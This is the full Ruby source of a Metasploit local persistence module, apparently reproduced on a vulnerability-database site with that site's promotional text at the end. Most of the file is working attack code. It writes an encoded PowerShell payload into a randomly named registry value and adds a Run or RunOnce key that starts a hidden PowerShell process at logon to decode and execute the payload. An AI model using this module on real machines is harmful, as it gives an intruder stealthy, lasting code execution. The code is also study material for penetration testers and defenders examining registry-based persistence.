##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::Powershell
include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/registry_persistence'
moved_from 'exploits/windows/local/persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Registry Only Persistence',
'Description' => %q{
This module will install a payload that is executed during boot.
It will be executed either at user logon or system startup via the registry
value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).
The payload will be installed completely in registry.
},
'License' => MSF_LICENSE,
'Author' => [
'Donny Maasland <donny.maasland[at]fox-it.com>', # original module
'h00die',
],
'Platform' => [ 'win' ],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [
[ 'Automatic', {} ]
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
['URL', 'https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/']
],
'DefaultTarget' => 0,
'DisclosureDate' => '2015-07-01',
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options([
OptEnum.new('STARTUP',
[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
OptString.new('BLOB_REG_KEY',
[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
OptString.new('BLOB_REG_NAME',
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
OptString.new('RUN_NAME',
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
OptInt.new('SLEEP_TIME',
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
])
end
def generate_payload_blob
opts = {
wrap_double_quotes: true,
encode_final_payload: true
}
cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1]
end
def generate_cmd(root_path, blob_key_name, blob_key_reg)
"%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
end
def generate_blob_reg
blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
return blob_reg_key, blob_reg_name
end
def generate_cmd_reg
datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
end
def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
new_key = false
if !registry_enumkeys(blob_reg_key)
unless registry_createkey(blob_reg_key)
fail_with(Failure::Unknown, "Failed to create key #{blob_reg_key}")
end
print_good("Created registry key #{blob_reg_key}")
new_key = true
end
unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, 'REG_SZ')
fail_with(Failure::Unknown, 'Failed to open the registry key for writing')
end
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
return new_key
end
def regkey
datastore['REG_KEY']
end
def install_cmd(cmd, cmd_reg, root_path)
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
fail_with(Failure::Unknown, 'Could not install run key')
end
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
end
def get_root_path
return 'HKCU' if datastore['STARTUP'] == 'USER'
'HKLM'
end
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
if new_key
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
end
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
end
def check
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')
vprint_good('Powershell detected on system')
# test write to see if we have access
root_path = get_root_path
rand = Rex::Text.rand_text_alphanumeric(15)
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
Msf::Exploit::CheckCode::Vulnerable('Registry writable')
end
def install_persistence
print_status('Generating payload blob..')
blob = generate_payload_blob
print_good("Generated payload, #{blob.length} bytes")
root_path = get_root_path
print_status("Root path is #{root_path}")
blob_reg_key, blob_reg_name = generate_blob_reg
cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
cmd_reg = generate_cmd_reg
print_status('Installing payload blob..')
new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)
print_status('Installing run key')
install_cmd(cmd, cmd_reg, root_path)
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation